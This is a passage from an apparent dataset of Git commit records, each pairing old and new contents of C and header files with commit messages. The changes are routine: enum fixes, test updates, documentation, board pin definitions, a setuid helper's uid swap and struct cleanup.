UTT_HasNothrowConstructor,\n    UTT_HasTrivialAssign,\n    UTT_HasTrivialCopy,\n    UTT_HasTrivialConstructor,\n    UTT_HasTrivialDestructor,\n    UTT_HasVirtualDestructor,\n    UTT_IsAbstract,\n    UTT_IsClass,\n    UTT_IsEmpty,\n    UTT_IsEnum,\n    UTT_IsPOD,\n    UTT_IsPolymorphic,\n    UTT_IsUnion,\n    UTT_IsLiteral\n  };\n\n  \/\/\/ BinaryTypeTrait - Names for the binary type traits.\n  enum BinaryTypeTrait {\n    BTT_IsBaseOf,\n  };\n}\n\n#endif\n","new_contents":"\/\/===--- TypeTraits.h - C++ Type Traits Support Enumerations ----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines enumerations for the type traits support.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_TYPETRAITS_H\n#define LLVM_CLANG_TYPETRAITS_H\n\nnamespace clang {\n\n  \/\/\/ UnaryTypeTrait - Names for the unary type traits.\n  enum UnaryTypeTrait {\n    UTT_HasNothrowAssign,\n    UTT_HasNothrowCopy,\n    UTT_HasNothrowConstructor,\n    UTT_HasTrivialAssign,\n    UTT_HasTrivialCopy,\n    UTT_HasTrivialConstructor,\n    UTT_HasTrivialDestructor,\n    UTT_HasVirtualDestructor,\n    UTT_IsAbstract,\n    UTT_IsClass,\n    UTT_IsEmpty,\n    UTT_IsEnum,\n    UTT_IsPOD,\n    UTT_IsPolymorphic,\n    UTT_IsUnion,\n    UTT_IsLiteral\n  };\n\n  \/\/\/ BinaryTypeTrait - Names for the binary type traits.\n  enum BinaryTypeTrait {\n    BTT_IsBaseOf\n  };\n}\n\n#endif\n","subject":"Fix compile error: comma at end of enumerator list.","message":"Fix compile error:  comma at end of enumerator list.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@121075 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"f6640d28e09979825b63abb619da29bf17ca4819","old_file":"test\/CodeGen\/ubsan-null.c","new_file":"test\/CodeGen\/ubsan-null.c","old_contents":"\/\/ RUN: %clang_cc1 -fsanitize=null -emit-llvm %s -o - | FileCheck %s\n\nstruct A {\n  int a[2];\n  int b;\n};\n\n\/\/ CHECK-LABEL: @f1\nint *f1() {\n\/\/ CHECK-NOT: __ubsan_handle_type_mismatch\n\/\/ CHECK: ret\n\/\/ CHECK-SAME: getelementptr inbounds (%struct.A, %struct.A* null, i32 0, i32 1)\n  return &((struct A *)0)->b;\n}\n\n\/\/ CHECK-LABEL: @f2\nint f2() {\n\/\/ CHECK: __ubsan_handle_type_mismatch\n\/\/ CHECK: load\n\/\/ CHECK-SAME: getelementptr inbounds (%struct.A, %struct.A* null, i32 0, i32 1)\n\/\/ CHECK: ret\n  return ((struct A *)0)->b;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -fsanitize=null -emit-llvm %s -o - | FileCheck %s\n\nstruct A {\n  int a[2];\n  int b;\n};\n\n\/\/ CHECK-LABEL: @f1\nint *f1() {\n\/\/ CHECK-NOT: __ubsan_handle_type_mismatch\n\/\/ CHECK: ret\n\/\/ CHECK-SAME: getelementptr inbounds (%struct.A, %struct.A* null, i32 0, i32 1)\n  return &((struct A *)0)->b;\n}\n","subject":"Make a test compatible with r300508","message":"[ubsan] Make a test compatible with r300508\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"ad6183dabea44cf5ca64139e9ebd4cb93bc8c4cd","old_file":"src\/doc.h","new_file":"src\/doc.h","old_contents":"","new_contents":"\/\/\/ \\mainpage CG_Labs — Documentation\n\/\/\/\n\/\/\/\n\/\/\/ \\tableofcontents\n\/\/\/\n\/\/\/\n\/\/\/ \\section intro Introduction\n\/\/\/\n\/\/\/ Here you can find the documentation for the source code used in the courses\n\/\/\/ <a href=\"https:\/\/cs.lth.se\/edaf80\/\">EDAF80<\/a> and\n\/\/\/ <a href=\"https:\/\/cs.lth.se\/edan35\/\">EDAN35<\/a> given at Lund University,\n\/\/\/ Sweden.\n\/\/\/ The source code itself is hosted on GitHub at\n\/\/\/ https:\/\/github.com\/LUGGPublic\/CG_Labs.\n\/\/\/\n\/\/\/\n\/\/\/ \\subsection intro_doc Documentation\n\/\/\/\n\/\/\/ Information about the dependencies and main requirements for building and\n\/\/\/ running the project can be found in the\n\/\/\/ <a href=\"https:\/\/github.com\/LUGGPublic\/CG_Labs#dependencies\">README.rst<\/a>\n\/\/\/ file.<br>\n\/\/\/ A guide for setting up and building the project is provided in\n\/\/\/ <a href=\"https:\/\/github.com\/LUGGPublic\/CG_Labs\/blob\/master\/BUILD.rst\">BUILD.rst<\/a>.\n\/\/\/\n\/\/\/ In the top-right corner of this page, there is a search field you can use\n\/\/\/ to quickly look up a function or class.\n\/\/\/ Via the navigation bar, you can quickly get an overview of all classes and\n\/\/\/ namespaces found in the framework.\n\/\/\/\n\/\/\/\n\/\/\/ \\subsection intro_framework Framework\n\/\/\/\n\/\/\/ There are a couple of folders in the main directory you will be interacting\n\/\/\/ with:\n\/\/\/ - _res\/_ which contains all the resources used in the course, such as\n\/\/\/    images and 3D models;\n\/\/\/ - _src\/_ for all the C++ code, which runs on the CPU;\n\/\/\/ - _shaders\/_ for all the GLSL code that will be executed on the GPU.\n\/\/\/\n\/\/\/ _src\/_ is further subdivided in:\n\/\/\/ - a _core\/_ folder containing various helpers and code shared by the\n\/\/\/   different assignments;\n\/\/\/ - a _EDAF80\/_ folder for files specific to assignments for the EDAF80\n\/\/\/   course; _shaders\/EDAF80_ is its associated shader folder.\n\/\/\/ - a _EDAN35\/_ folder for files specific to assignments for the EDAN35\n\/\/\/   course; _shaders\/EDAN35_ is its associated shader folder.\n\/\/\/\n\/\/\/ Each assignment uses a main file called _%assignmentX.cpp_, where _X_\n\/\/\/ corresponds to the number of the assignment (e.g. _%assignment1.cpp_ for the\n\/\/\/ first one).\n\/\/\/\n\/\/\/\n\/\/\/ \\section quick_links Quick Links\n\/\/\/\n\/\/\/ Here is a list of classes for which you might want to check the\n\/\/\/ documentation:\n\/\/\/ - FPSCamera\n\/\/\/ - Node\n\/\/\/ - TRSTransform\n\/\/\/ - WindowManager\n\/\/\/\n\/\/\/ The \\ref bonobo namespace contains a couple of structures and functions you\n\/\/\/ will be interacting with.\n\/\/\/\n\/\/\/ An overview of the to-do list (from all assignments) can be found on this\n\/\/\/ page: \\ref todo.\n","subject":"Add content to the landing page","message":"Doc: Add content to the landing page\n","lang":"C","license":"unlicense","repos":"LUGGPublic\/CG_Labs,LUGGPublic\/CG_Labs"}
{"commit":"787fde3532ce508e9c1bad24e0edfcfe969615aa","old_file":"sticks.c","new_file":"sticks.c","old_contents":"#include <stdio.h>\n\ntypedef struct {\n    int hands[2][2];\n    int turn;\n} Sticks;\n\nvoid sticks_create(Sticks *sticks) {\n    sticks->hands[0][0] = 1;\n    sticks->hands[0][1] = 1;\n    sticks->hands[1][0] = 1;\n    sticks->hands[1][1] = 1;\n    sticks->turn = 0;\n}\n\nvoid sticks_play(Sticks *sticks, int actor, int target) {\n    sticks->hands[!sticks->turn][target] += sticks->hands[sticks->turn][actor];\n    if (sticks->hands[!sticks->turn][target] >= 5) {\n        sticks->hands[!sticks->turn][target] = 0;\n    }\n    sticks->turn = !sticks->turn;\n}\n\nint main(void) {\n    Sticks sticks;\n    sticks_create(&sticks);\n    printf(\"%d\\n\", sticks.hands[0][0]);\n    printf(\"%d\\n\", sticks.turn);\n    sticks_play(&sticks, 0, 1);\n    printf(\"%d\\n\", sticks.hands[1][1]);\n    printf(\"%d\\n\", sticks.turn);\n}\n","new_contents":"#include <stdio.h>\n\ntypedef struct {\n    int hands[2][2];\n    int turn;\n} Sticks;\n\nvoid sticks_create(Sticks *sticks) {\n    sticks->hands[0][0] = 1;\n    sticks->hands[0][1] = 1;\n    sticks->hands[1][0] = 1;\n    sticks->hands[1][1] = 1;\n    sticks->turn = 0;\n}\n\nvoid sticks_play(Sticks *sticks, int x, int y) {\n    sticks->hands[!sticks->turn][y] += sticks->hands[sticks->turn][x];\n    if (sticks->hands[!sticks->turn][y] >= 5) {\n        sticks->hands[!sticks->turn][y] = 0;\n    }\n    sticks->turn = !sticks->turn;\n}\n\nint main(void) {\n    Sticks sticks;\n    sticks_create(&sticks);\n    printf(\"%d\\n\", sticks.hands[0][0]);\n    printf(\"%d\\n\", sticks.turn);\n    sticks_play(&sticks, 0, 1);\n    printf(\"%d\\n\", sticks.hands[1][1]);\n    printf(\"%d\\n\", sticks.turn);\n}\n","subject":"Rename actor\/target to x\/y to allow for shifting","message":"Rename actor\/target to x\/y to allow for shifting\n","lang":"C","license":"mit","repos":"tysonzero\/c-ann"}
{"commit":"69bee79575bfe1ef4b213fd962cc0aaeb66e7b28","old_file":"wizard-basic-runtime\/main.c","new_file":"wizard-basic-runtime\/main.c","old_contents":"#include <stdio.h>\n\ntypedef enum ValueType {\n\tNULL_VALUE,\n\tNUMBER,\n\tARRAY,\n\tSTRUCTURE\n} ValueType;\n\ntypedef double Number;\n\nstruct Value;\ntypedef struct Value* Array;\n\ntypedef struct ArrayData {\n\tsize_t size;\n\tArray array;\n} ArrayData;\n\ntypedef struct StructureData {\n\tchar* name;\n\tvoid* structure;\n} StructureData;\n\ntypedef union ValueStorage {\n\tNumber number;\n\tArrayData array;\n\tStructureData structure;\n} ValueStorage;\n\ntypedef struct Value {\n\tValueType type;\n\tValueStorage storage;\n} Value, *ValuePointer;\n\nint main(void) {\n\tputs(\"Test.\");\n}\n","new_contents":"#include <stdio.h>\n\ntypedef enum ValueType {\n\tNULL_VALUE,\n\tNUMBER,\n\tARRAY,\n\tSTRUCTURE\n} ValueType;\n\ntypedef double Number;\n\nstruct Value;\ntypedef struct Value* Array;\n\ntypedef struct ArrayData {\n\tsize_t size;\n\tArray array;\n} ArrayData;\n\ntypedef struct StructureData {\n\tchar* name;\n\tvoid* structure;\n} StructureData;\n\ntypedef union ValueStorage {\n\tNumber number;\n\tArrayData array;\n\tStructureData structure;\n} ValueStorage;\n\ntypedef struct Value {\n\tValueType type;\n\tValueStorage storage;\n} Value, *ValuePointer;\n\nValuePointer CreateValue(void) {\n\treturn (ValuePointer)malloc(sizeof(Value));\n}\n\nValuePointer CreateNull(void) {\n\tValuePointer value = CreateValue();\n\tvalue->type = NULL_VALUE;\n\n\treturn value;\n}\n\nValuePointer CreateNumber(Number number) {\n\tValuePointer value = CreateValue();\n\tvalue->type = NUMBER;\n\tvalue->storage.number = number;\n\n\treturn value;\n}\n\nint main(void) {\n\tputs(\"Test.\");\n}\n","subject":"Add runtime types creating function.","message":"Add runtime types creating function.\n","lang":"C","license":"mit","repos":"thewizardplusplus\/wizard-basic-3,thewizardplusplus\/wizard-basic-3"}
{"commit":"475fa537796c6bc7939de4fc4bd1ce3a0be7aee6","old_file":"lib\/libc\/include\/libc_private.h","new_file":"lib\/libc\/include\/libc_private.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 1998 John Birrell <jb@cimlogic.com.au>.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n *    must display the following acknowledgement:\n *\tThis product includes software developed by John Birrell.\n * 4. Neither the name of the author nor the names of any co-contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY JOHN BIRRELL AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $Id$\n *\n * Private definitions for libc, libc_r and libpthread.\n *\n *\/\n\n#ifndef _LIBC_PRIVATE_H_\n#define _LIBC_PRIVATE_H_\n\n\/*\n * This global flag is non-zero when a process has created one\n * or more threads. It is used to avoid calling locking functions\n * when they are not required.\n *\/\nextern int\t__isthreaded;\n\n\/*\n * File lock contention is difficult to diagnose without knowing\n * where locks were set. Allow a debug library to be built which\n * records the source file and line number of each lock call.\n *\/\n#ifdef\t_FLOCK_DEBUG\n#define _FLOCKFILE(x)\t_flockfile_debug(x, __FILE__, __LINE__)\n#else\n#define _FLOCKFILE(x)\t_flockfile(x)\n#endif\n\n\/*\n * Macros for locking and unlocking FILEs. These test if the\n * process is threaded to avoid locking when not required.\n *\/\n#define\tFLOCKFILE(fp)\t\tif (__isthreaded) _FLOCKFILE(fp)\n#define\tFUNLOCKFILE(fp)\t\tif (__isthreaded) _funlockfile(fp)\n\n#endif \/* _LIBC_PRIVATE_H_ *\/\n","subject":"Add a private header file for libc\/libc_r\/libpthread to contain definitions for things like locking etc.","message":"Add a private header file for libc\/libc_r\/libpthread to contain\ndefinitions for things like locking etc.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"da91d0278e5790d212cfc0748238e711cb150af9","old_file":"Modules\/getbuildinfo.c","new_file":"Modules\/getbuildinfo.c","old_contents":"#include <stdio.h>\n\n#ifndef DATE\n#ifdef __DATE__\n#define DATE __DATE__\n#else\n#define DATE \"xx\/xx\/xx\"\n#endif\n#endif\n\n#ifndef TIME\n#ifdef __TIME__\n#define TIME __TIME__\n#else\n#define TIME \"xx:xx:xx\"\n#endif\n#endif\n\n#ifndef BUILD\n#define BUILD 0\n#endif\n\n\nconst char *\nPy_GetBuildInfo()\n{\n\tstatic char buildinfo[40];\n\tsprintf(buildinfo, \"#%d, %.12s, %.8s\", BUILD, DATE, TIME);\n\treturn buildinfo;\n}\n","new_contents":"#include \"config.h\"\n\n#include <stdio.h>\n\n#ifndef DATE\n#ifdef __DATE__\n#define DATE __DATE__\n#else\n#define DATE \"xx\/xx\/xx\"\n#endif\n#endif\n\n#ifndef TIME\n#ifdef __TIME__\n#define TIME __TIME__\n#else\n#define TIME \"xx:xx:xx\"\n#endif\n#endif\n\n#ifndef BUILD\n#define BUILD 0\n#endif\n\n\nconst char *\nPy_GetBuildInfo()\n{\n\tstatic char buildinfo[40];\n\tsprintf(buildinfo, \"#%d, %.12s, %.8s\", BUILD, DATE, TIME);\n\treturn buildinfo;\n}\n","subject":"Include config.h so it can define const away for K&R.","message":"Include config.h so it can define const away for K&R.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"030077869192bb6474149d4e8a6fec6c07084f0d","old_file":"VisualPractice\/types.h","new_file":"VisualPractice\/types.h","old_contents":"#ifndef TE_TYPES_H\n#define TE_TYPES_H\n\nnamespace te\n{\n\n    struct Vector2f\n    {\n        float x;\n        float y;\n        Vector2f(float x, float y);\n        Vector2f operator+(Vector2f o);\n        Vector2f operator-(Vector2f o);\n    };\n\n    struct Vector2i\n    {\n        int x;\n        int y;\n        Vector2i(int x, int y);\n        Vector2i operator+(Vector2i o);\n        Vector2i operator-(Vector2i o);\n    };\n\n}\n\n#endif\n","new_contents":"#ifndef TE_TYPES_H\n#define TE_TYPES_H\n\nnamespace te\n{\n\n    struct Vector2f\n    {\n        float x;\n        float y;\n        Vector2f(float x = 0, float y = 0);\n        Vector2f operator+(Vector2f o);\n        Vector2f operator-(Vector2f o);\n    };\n\n    struct Vector2i\n    {\n        int x;\n        int y;\n        Vector2i(int x = 0, int y = 0);\n        Vector2i operator+(Vector2i o);\n        Vector2i operator-(Vector2i o);\n    };\n\n}\n\n#endif\n","subject":"Add default constructors to vectors","message":"Add default constructors to vectors\n","lang":"C","license":"mit","repos":"evinstk\/TantechEngine,evinstk\/TantechEngineOriginal,evinstk\/TantechEngineOriginal,evinstk\/TantechEngineOriginal,evinstk\/TantechEngine,evinstk\/TantechEngineOriginal,evinstk\/TantechEngineOriginal,evinstk\/TantechEngineOriginal,evinstk\/TantechEngine,evinstk\/TantechEngine,evinstk\/TantechEngine,evinstk\/TantechEngine"}
{"commit":"e704bfde67fdb6c736e133d4cdaf25af6a58c6ea","old_file":"DCTOAuth\/DCTOAuthAccount.h","new_file":"DCTOAuth\/DCTOAuthAccount.h","old_contents":"\/\/\n\/\/  DCTOAuthAccount.h\n\/\/  DTOAuth\n\/\/\n\/\/  Created by Daniel Tull on 09.07.2010.\n\/\/  Copyright 2010 Daniel Tull. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface DCTOAuthAccount : NSObject\n\n+ (DCTOAuthAccount *)OAuthAccountWithType:(NSString *)type\n\t\t\t\t\t\t  requestTokenURL:(NSURL *)requestTokenURL\n\t\t\t\t\t\t\t authorizeURL:(NSURL *)authorizeURL\n\t\t\t\t\t\t   accessTokenURL:(NSURL *)accessTokenURL\n\t\t\t\t\t\t\t  consumerKey:(NSString *)consumerKey\n\t\t\t\t\t\t   consumerSecret:(NSString *)consumerSecret;\n\n+ (DCTOAuthAccount *)OAuth2AccountWithType:(NSString *)type\n\t\t\t\t\t\t\t  authorizeURL:(NSURL *)authorizeURL\n\t\t\t\t\t\t\taccessTokenURL:(NSURL *)accessTokenURL\n\t\t\t\t\t\t\t\t  clientID:(NSString *)clientID\n\t\t\t\t\t\t\t  clientSecret:(NSString *)clientSecret\n\t\t\t\t\t\t\t\t\tscopes:(NSArray *)scopes;\n\n@property (nonatomic, readonly) NSString *type;\n@property (nonatomic, readonly) NSString *identifier;\n\n@property (nonatomic, copy) NSURL *callbackURL;\n\n- (void)authenticateWithHandler:(void(^)(NSDictionary *returnedValues))handler;\n- (void)renewCredentialsWithHandler:(void(^)(BOOL success, NSError *error))handler;\n\n@end\n","new_contents":"\/\/\n\/\/  DCTOAuthAccount.h\n\/\/  DTOAuth\n\/\/\n\/\/  Created by Daniel Tull on 09.07.2010.\n\/\/  Copyright 2010 Daniel Tull. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface DCTOAuthAccount : NSObject\n\n+ (DCTOAuthAccount *)OAuthAccountWithType:(NSString *)type\n\t\t\t\t\t\t  requestTokenURL:(NSURL *)requestTokenURL\n\t\t\t\t\t\t\t authorizeURL:(NSURL *)authorizeURL\n\t\t\t\t\t\t   accessTokenURL:(NSURL *)accessTokenURL\n\t\t\t\t\t\t\t  consumerKey:(NSString *)consumerKey\n\t\t\t\t\t\t   consumerSecret:(NSString *)consumerSecret;\n\n+ (DCTOAuthAccount *)OAuth2AccountWithType:(NSString *)type\n\t\t\t\t\t\t\t  authorizeURL:(NSURL *)authorizeURL\n\t\t\t\t\t\t\taccessTokenURL:(NSURL *)accessTokenURL\n\t\t\t\t\t\t\t\t  clientID:(NSString *)clientID\n\t\t\t\t\t\t\t  clientSecret:(NSString *)clientSecret\n\t\t\t\t\t\t\t\t\tscopes:(NSArray *)scopes;\n\n@property (nonatomic, readonly) NSString *type;\n@property (nonatomic, readonly) NSString *identifier;\n\n@property (nonatomic, copy) NSURL *callbackURL;\n\n- (void)authenticateWithHandler:(void(^)(NSDictionary *returnedValues))handler;\n\/\/- (void)renewCredentialsWithHandler:(void(^)(BOOL success, NSError *error))handler;\n\n@end\n","subject":"Comment out this method, it does nothing right now","message":"Comment out this method, it does nothing right now\n","lang":"C","license":"bsd-3-clause","repos":"danielctull\/DCTAuth,danielctull\/DCTAuth"}
{"commit":"0a4405ba53d70b4955e3ef1a2624a2d967b32e7c","old_file":"libkleo\/libkleo_export.h","new_file":"libkleo\/libkleo_export.h","old_contents":"\/*  This file is part of the KDE project\n    Copyright (C) 2007 David Faure <faure@kde.org>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n    Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef LIBKLEO_EXPORT_H\n#define LIBKLEO_EXPORT_H\n\n\/* needed for KDE_EXPORT and KDE_IMPORT macros *\/\n#include <kdemacros.h>\n\n#ifndef KLEO_EXPORT\n# if defined(MAKE_LIBKLEO_LIB)\n   \/* We are building this library *\/ \n#  define KLEO_EXPORT KDE_EXPORT\n# else\n   \/* We are using this library *\/ \n#  define KLEO_EXPORT KDE_IMPORT\n# endif\n#endif\n\n# ifndef KLEO_EXPORT_DEPRECATED\n#  define KLEO_EXPORT_DEPRECATED KDE_DEPRECATED KLEO_EXPORT\n# endif\n\n#endif\n","new_contents":"\/*  This file is part of the KDE project\n    Copyright (C) 2007 David Faure <faure@kde.org>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n    Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef LIBKLEO_EXPORT_H\n#define LIBKLEO_EXPORT_H\n\n\/* needed for KDE_EXPORT and KDE_IMPORT macros *\/\n#include <kdemacros.h>\n\n#ifdef Q_WS_WIN\n\n#ifndef KLEO_EXPORT\n# ifdef MAKE_KLEO_LIB\n#  define KLEO_EXPORT KDE_EXPORT\n# else\n#  define KLEO_EXPORT KDE_IMPORT\n# endif\n#endif\n\n#else \/\/ not windows\n\n#define KLEO_EXPORT KDE_EXPORT\n#endif \/* not windows *\/\n\n# ifndef KLEO_EXPORT_DEPRECATED\n#  define KLEO_EXPORT_DEPRECATED KDE_DEPRECATED KLEO_EXPORT\n# endif\n\n#endif\n","subject":"Fix typo MAKE_KLEO_LIB not MAKE_LIBKLEO_LIB and make it more coherent with other export files","message":"Fix typo MAKE_KLEO_LIB not MAKE_LIBKLEO_LIB and make it more coherent with\nother export files\n\nsvn path=\/trunk\/KDE\/kdepim\/libkleo\/; revision=674385\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"fe174f601a9730f2161f8586b66519a71bfe8e45","old_file":"phong-su.c","new_file":"phong-su.c","old_contents":"\/*\n * A simple setuid binary that runs \/usr\/bin\/phong.py\n *\/\n#include <sys\/types.h>\n#include <unistd.h>\n\n#ifndef PHONG_PATH\n#define PHONG_PATH \"\/usr\/bin\/phong.py\"\n#endif\n\nint main(int argc, char** argv)\n{\n  int i;\n  char **newArgv;\n\n  newArgv = calloc (sizeof (char*), argc+1);\n  newArgv[0] = strdup (PHONG_PATH);\n  newArgv[1] = strdup (\"sudo\");\n  for (i = 1; i < argc; i++) {\n    newArgv[i+1] = strdup(argv[i]);\n  }\n  newArgv[argc+1] = NULL;\n  setuid (0);\n  return execv (newArgv[0], newArgv);\n}\n","new_contents":"\/*\n * A simple setuid binary that runs \/usr\/bin\/phong.py\n *\/\n#include <sys\/types.h>\n#include <unistd.h>\n\n#ifndef PHONG_PATH\n#define PHONG_PATH \"\/usr\/bin\/phong.py\"\n#endif\n\nint main(int argc, char** argv)\n{\n  int i;\n  char **newArgv;\n\n  newArgv = calloc (sizeof (char*), argc+1);\n  newArgv[0] = strdup (PHONG_PATH);\n  newArgv[1] = strdup (\"sudo\");\n  for (i = 1; i < argc; i++) {\n    newArgv[i+1] = strdup(argv[i]);\n  }\n  newArgv[argc+1] = NULL;\n  setreuid (geteuid (), getuid ());\n  return execv (newArgv[0], newArgv);\n}\n","subject":"Swap euid and uid in sudo helper","message":"Swap euid and uid in sudo helper\n","lang":"C","license":"agpl-3.0","repos":"phrobo\/phong,phrobo\/phong"}
{"commit":"784a5edc4bc7d9d7c9b4119c8d5e4c52962cf1c4","old_file":"ports\/raspberrypi\/boards\/adafruit_kb2040\/mpconfigboard.h","new_file":"ports\/raspberrypi\/boards\/adafruit_kb2040\/mpconfigboard.h","old_contents":"#define MICROPY_HW_BOARD_NAME \"Adafruit KB2040\"\n#define MICROPY_HW_MCU_NAME \"rp2040\"\n\n#define MICROPY_HW_NEOPIXEL (&pin_GPIO17)\n\n#define DEFAULT_I2C_BUS_SDA (&pin_GPIO12)\n#define DEFAULT_I2C_BUS_SCL (&pin_GPIO13)\n\n#define DEFAULT_UART_BUS_TX (&pin_GPIO0)\n#define DEFAULT_UART_BUS_RX (&pin_GPIO1)\n","new_contents":"#define MICROPY_HW_BOARD_NAME \"Adafruit KB2040\"\n#define MICROPY_HW_MCU_NAME \"rp2040\"\n\n#define MICROPY_HW_NEOPIXEL (&pin_GPIO17)\n\n#define DEFAULT_I2C_BUS_SDA (&pin_GPIO12)\n#define DEFAULT_I2C_BUS_SCL (&pin_GPIO13)\n\n#define DEFAULT_UART_BUS_TX (&pin_GPIO0)\n#define DEFAULT_UART_BUS_RX (&pin_GPIO1)\n\n#define DEFAULT_SPI_BUS_SCK (&pin_GPIO18)\n#define DEFAULT_SPI_BUS_MOSI (&pin_GPIO19)\n#define DEFAULT_SPI_BUS_MISO (&pin_GPIO20)\n","subject":"Define default SPI pins on kb2040","message":"Define default SPI pins on kb2040\n\nFixes #5875","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython"}
{"commit":"ef2d72f6dfe59851aacc9fc0de4a743393b7615c","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"\/*\n * StatZone 1.0.1\n * Copyright (c) 2012-2020, Frederic Cambus\n * https:\/\/www.statdns.com\n *\n * Created: 2012-02-13\n * Last Updated: 2019-01-03\n *\n * StatZone is released under the BSD 2-Clause license\n * See LICENSE file for details.\n *\/\n\n#ifndef CONFIG_H\n#define CONFIG_H\n\n#define VERSION \"StatZone 1.0.1\"\n\n#define LINE_LENGTH_MAX 65536\n\nstruct results {\n\tuint64_t processedLines;\n\tuint64_t a;\n\tuint64_t aaaa;\n\tuint64_t ds;\n\tuint64_t ns;\n\tuint64_t domains;\n\tuint64_t idn;\n\tdouble runtime;\n};\n\n#endif \/* CONFIG_H *\/\n","new_contents":"\/*\n * StatZone 1.0.1\n * Copyright (c) 2012-2020, Frederic Cambus\n * https:\/\/www.statdns.com\n *\n * Created: 2012-02-13\n * Last Updated: 2019-01-03\n *\n * StatZone is released under the BSD 2-Clause license\n * See LICENSE file for details.\n *\/\n\n#ifndef CONFIG_H\n#define CONFIG_H\n\n#define VERSION \"StatZone 1.0.1\"\n\n#define LINE_LENGTH_MAX 65536\n\nstruct results {\n\tuint64_t processedLines;\n\tuint64_t a;\n\tuint64_t aaaa;\n\tuint64_t ds;\n\tuint64_t ns;\n\tuint64_t domains;\n\tuint64_t idn;\n};\n\n#endif \/* CONFIG_H *\/\n","subject":"Remove now useless runtime member from the results structure.","message":"Remove now useless runtime member from the results structure.\n","lang":"C","license":"bsd-2-clause","repos":"fcambus\/statzone"}
